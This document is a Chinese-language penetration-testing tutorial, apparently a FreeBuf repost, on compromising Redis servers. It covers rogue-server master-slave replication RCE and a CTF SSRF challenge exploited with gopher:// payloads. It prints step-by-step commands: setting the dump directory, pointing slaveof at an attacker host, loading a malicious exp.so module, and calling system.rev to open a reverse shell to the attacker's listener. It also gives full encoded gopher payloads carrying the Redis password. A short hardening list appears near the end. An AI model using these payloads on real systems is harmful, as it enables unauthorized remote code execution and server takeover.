前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >渗透测试之地基服务篇:服务攻防之数据库Redis

渗透测试之地基服务篇:服务攻防之数据库Redis

作者头像
FB客服
发布2023-03-30 21:10:33
7180
发布2023-03-30 21:10:33
举报
文章被收录于专栏:FreeBufFreeBuf

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

一、前言

数据库作为业务平台信息技术的核心和基础,承载着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,数据库的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的数据库中往往储存着等极其重要和敏感的信息。这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。

通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!

今天会讲解到利用主从复制RCE、本地Redis主从复制RCE反弹shell、SSRF Redis 反弹shell、Redis知识拓展、Redis安全防护等操作,如果连Redis都不会安装操作提权等,怎么进行下一步的研究Redis数据库安全!怎么拿下对方服务器?

二、利用主从复制RCE

未授权的redis会导致GetShell,可以说已经是众所周知的了。 而这种方式是通过写文件来完成GetShell的,这种方式的主要问题在于,redis保存的数据并不是简单的json或者是csv,所以写入的文件都会有大量的无用数据,形似:

这种主要利用了crontab、ssh key、webshell这样的文件都有一定容错性,再加上crontab和ssh服务可以说是服务器的标准的服务,所以在以前,这种通过写入文件的getshell方式基本就可以说是很通杀了。但随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

简单的说,攻击者(主机)写一个so文件,然后通过FULLRESYNC(全局)同步文件到受害人(从机)上。

1、下载

代码语言:javascript
复制
https://github.com/n0b0dyCN/redis-rogue-server//未授权https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server//有密码

目标靶机是不能开启保护模式,即下图设置才可以!

2、帮助

可看到exp执行方法!

3、执行反弹

1)执行反弹

代码语言:javascript
复制
python3 redis_rogue_server.py -rhost 192.168.253.27 -lhost 192.168.253.9 -passwd dayu123

Shell? [i]interactive,[r]reverse: 有两种方式!

2)开启监听

本地开启nc的6666监听端口!

3)interactive交互

选择i,然后直接交互即可!!

4)选择reverse反弹shell

代码语言:javascript
复制
r192.168.253.97777python3 -c "import pty;pty.spawn('/bin/bash')"

成功获得交互shell!!

三、本地Redis主从复制RCE反弹shell

1、缺点

要说缺点,先明白上一部分的脚本执行的原理。上述的原理是,目标机器的redis可以被远程其他的机器登录。然后执行脚本内写死的一些命令,利用这些命令我们就可以执行系统命令。问题来了,假如目标机器仅仅允许本地进行登录的时候,上述利用就直接暴毙。这个时候,我们可以通过配合其他漏洞,从目标本地登录redis。然后手动执行脚本内写死的一些命令(这些命令的意思是将本机[靶机]redis作为从机,将攻击机器设置为主机,然后攻击机器会自动将一些恶意so文件同步给目标机器(从机)),从而来实现对目标机器的远程命令执行。

2、下载

代码语言:javascript
复制
https://github.com/n0b0dyCN/redis-rogue-server//未授权https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server//有密码

将redis-rogue-server的exp.so文件复制到Awsome文件夹中使用,因为exp.so带system模块!

3、执行演示

1)kali开启监听

代码语言:javascript
复制
nc -lvnp 9999

新开一个窗口,来监听,接受会话的反弹!!

2)开启主服务器

代码语言:javascript
复制
python3 redis_rogue_server.py -v -path exp.so

开启15000端口的主服务器!

3)Redis主从同步

查看是否存在模块:

代码语言:javascript
复制
module list

可看到目前没有可用模块!

主从同步:

代码语言:javascript
复制
config set dir /tmp//一般tmp目录都有写权限,所以选择这个目录写入config set dbfilename exp.so//设置导出文件的名字slaveof 192.168.253.9 15000
slaveof 49.234.100.201 15000//进行主从同步,将恶意so文件写入到tmp文件//端口可以自定义

同步规则:

可看到主服务器上FULLRESYNC全局同步数据中!将恶意的exp.so同步到redis服务器上!

执行恶意模块:

代码语言:javascript
复制
module load ./exp.so    //加载写入的恶意so文件模块module list//查看恶意so有没有加载成功,主要是有没有“system”

可看到加载是成功的!!

反弹shell:

代码语言:javascript
复制
system.rev 192.168.253.9 9999//执行反弹命令

可看到成功反弹shell,可以进行交互 !!

另外一种方式:

代码语言:javascript
复制
system.exec "id"//当然也可以通过这种方式来执行系统命令

也可以直接执行命令!

关闭主从同步:

代码语言:javascript
复制
slaveof NO ONE//关闭主从

本地redis服务器关闭,或者直接在主服务器关闭也行!

四、SSRF Redis 反弹shell

网鼎杯2020玄武组SSRFME题!

1、加载源码

index.php源码:

代码语言:javascript
复制
<?phpfunction check_inner_ip($url){    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);    if (!$match_result)    {        die('url fomat error');    }    try    {        $url_parse=parse_url($url);    }    catch(Exception $e)    {        die('url fomat error');        return false;    }    $hostname=$url_parse['host'];    $ip=gethostbyname($hostname);    $int_ip=ip2long($ip);    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;}
function safe_request_url($url){
    if (check_inner_ip($url))    {        echo $url.' is inner ip';    }    else    {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);        curl_setopt($ch, CURLOPT_HEADER, 0);        $output = curl_exec($ch);        $result_info = curl_getinfo($ch);        if ($result_info['redirect_url'])        {            safe_request_url($result_info['redirect_url']);        }        curl_close($ch);        var_dump($output);    }
}if(isset($_GET['url'])){    $url = $_GET['url'];    if(!empty($url)){        safe_request_url($url);    }}else{    highlight_file(__FILE__);}// Please visit hint.php locally.?>

hint.php源码:

代码语言:javascript
复制
string(1342) " <?phpif($_SERVER['REMOTE_ADDR']==="127.0.0.1"){  highlight_file(__FILE__);}if(isset($_POST['file'])){  file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);}"

txt文本复制后改名为index.php,hint.php一样的操作!!

然后放入kali安装的宝塔目录下即可: 放入后在创建!!

代码语言:javascript
复制
1. 绕过 条件判断 2. 访问 hint.php文件获取reids密码 3. 利用ssrf gopher协议 打redis4. redis 主从漏洞 反弹shell

2、绕过条件判断

1)绕过条件判断

访问http://192.168.253.66/index.php代码审计php发现存在本地条件判断绕过!

绕过:

代码语言:javascript
复制
?url=http://0.0.0.0/hint.php

绕过访问hint.php文件获取reids密码,经过测试该redis仅允许本地登录!!

3、开启主服务器

1)设置本地监听6379

2)开启主服务器

代码语言:javascript
复制
python3 redis-rogue-server.py --rhost 127.0.0.1 --lhost 192.168.253.9

开启主从复制漏洞进行攻击!

3、ssrf gopher联动redies拿shell

1)设置目录

代码语言:javascript
复制
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquitgopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.253.67%252021000%250d%250aquit

执行:

成功设置导出的路径为tmp!

每次操作空格一下,这是提示操作以及同步!

设置导出文件名为exp.so!!

2)导入模块

代码语言:javascript
复制
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250amodule%2520load%2520./exp.so%250d%250aquit

执行恶意exp.so进行主从交互!

3)关闭主从

代码语言:javascript
复制
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aslaveof%2520NO%2520ONE%250d%250aquit

4)导出数据库

代码语言:javascript
复制
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit

5)反弹shell

本地开启监听:

检查步骤:

代码语言:javascript
复制
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250asystem.rev%2520192.168.253.67%25208899%250d%250aquit

查看监听:

正常交互!

4、知识拓展

1)RESP协议 定义:

代码语言:javascript
复制
redis客户端与服务端通信,使用RESP(REdis Serialization Protocal,redis序列化协议)协议通信,该协议是专门为redis设计的通信协议,但也可以用于其它客户端-服务器通信的场景。RESP可以用于序列化不同的数据类型,如:整型、字符串、数组…并且为错误提供专门的类型;客户端发送请求时,以字符串数组的作为待执行命令的参数。redis服务器根据不同的命令返回不同的数据类型。

支持协议:

代码语言:javascript
复制
RESP协议支持5种数据类型:简单字符串(Simple Strings)错误数据(Errors)整数(Integers)批量字符串(Bulk Strings)数组(Arrays)
代码语言:javascript
复制
*3,代表数组的长度为3(类似[“set”,”name”,”Sn0w”]),$4代表字符串的长度,就是Sn0w,0d0a即\r\n表示结束符;+OK表示服务端执行成功后返回的字符串

2)Gopher协议

定义: http之前,访问网页需要输入的是“ gopher://gopher.baidu.com/ ”,而不是 “ https://www.baidu.com/ ”,而它被代替的原因一方面是收费,另一方面的原因是它固化的结构没有HTML网页灵活。gopher协议支持GET&POST请求,常用于攻击内网ftp、redis、telnet、smtp等服务,还可以利用gopher协议访问redis反弹shell

协议格式: gopher://127.0.0.1:70/ + TCP/IP数据,gopher的默认端口为70,``是一种数据连接格式,也可以是其他字符

协议的实现: gopher会将后面的数据部分发送给相应的端口,这些数据可以是字符串,也可以是其他的数据请求包,比如GET,POST请求,redis,mysql未授权访问等,同时数据部分必须要进行url编码,这样gopher协议才能正确解析。

支持gopher协议的有 curl 和 libcurl:

代码语言:javascript
复制
使用curl来发起Gopher请求:        curl gopher://192.168.66.132:6379/_*2        $3        get        $4        name

生成gopher协议语句:

代码语言:javascript
复制
将其转换为gopher格式的数据传入,转换规则Windows 在行尾使用 CRLF (carriage return/line feed, 0d 0a)UNIX 只使用 LF(0a)参考了很多师傅们的博客,都说是直接url编码即可,但应该确切一点是 url16进制加密.

gopher语句生成工具:

代码语言:javascript
复制
下载地址:https://github.com/tarunkant/Gopherus

5、另外平台

buuoj平台: https://buuoj.cn/

http://b4a188ec-67cd-4b40-b916cc9b0e5c53c5.node3.buuoj.cn

需要重新创建小号!!

https://buuoj.cn/challenges

五、Redis安全防护

Redis的安全设置:设置完毕,需要重加载配置文件启动redis!!

1.绑定内网IP地址进行访问 2.requirepass 设置redis密码 3.保护模式开启 protected-mode 开启 (默认开启) 4.最好把端口更改 5.单独为redis设置一个普通账号 启动redis

从以上内容可以得知,安全是一个整体的概念。有一处出现差错都有可能影响全局。如一个redis的问题就可以让整台服务器被攻破。

六、总结

今天学到了利用主从复制RCE、本地Redis主从复制RCE反弹shell、SSRF Redis 反弹shell、Redis知识拓展、Redis安全防护的方式方法,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!

代码语言:javascript
复制
服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)......

接下来在《服务攻防之数据库Mongodb(上)》会接触到如何进行介绍和Labs安装、在Kali-2021中安装MongoDB、学习Mongo Shell等操作,如何提权渗透等方法,请看下篇服务攻防之数据库Mongodb上篇章!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

精彩推荐

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-09-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、前言
  • 二、利用主从复制RCE
    • 1、下载
      • 2、帮助
        • 3、执行反弹
        • 三、本地Redis主从复制RCE反弹shell
          • 1、缺点
            • 2、下载
              • 3、执行演示
              • 四、SSRF Redis 反弹shell
                • 1、加载源码
                  • 2、绕过条件判断
                    • 3、开启主服务器
                      • 3、ssrf gopher联动redies拿shell
                        • 4、知识拓展
                          • 5、另外平台
                          • 五、Redis安全防护
                          • 六、总结
                          相关产品与服务
                          数据库
                          云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                          领券
                          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档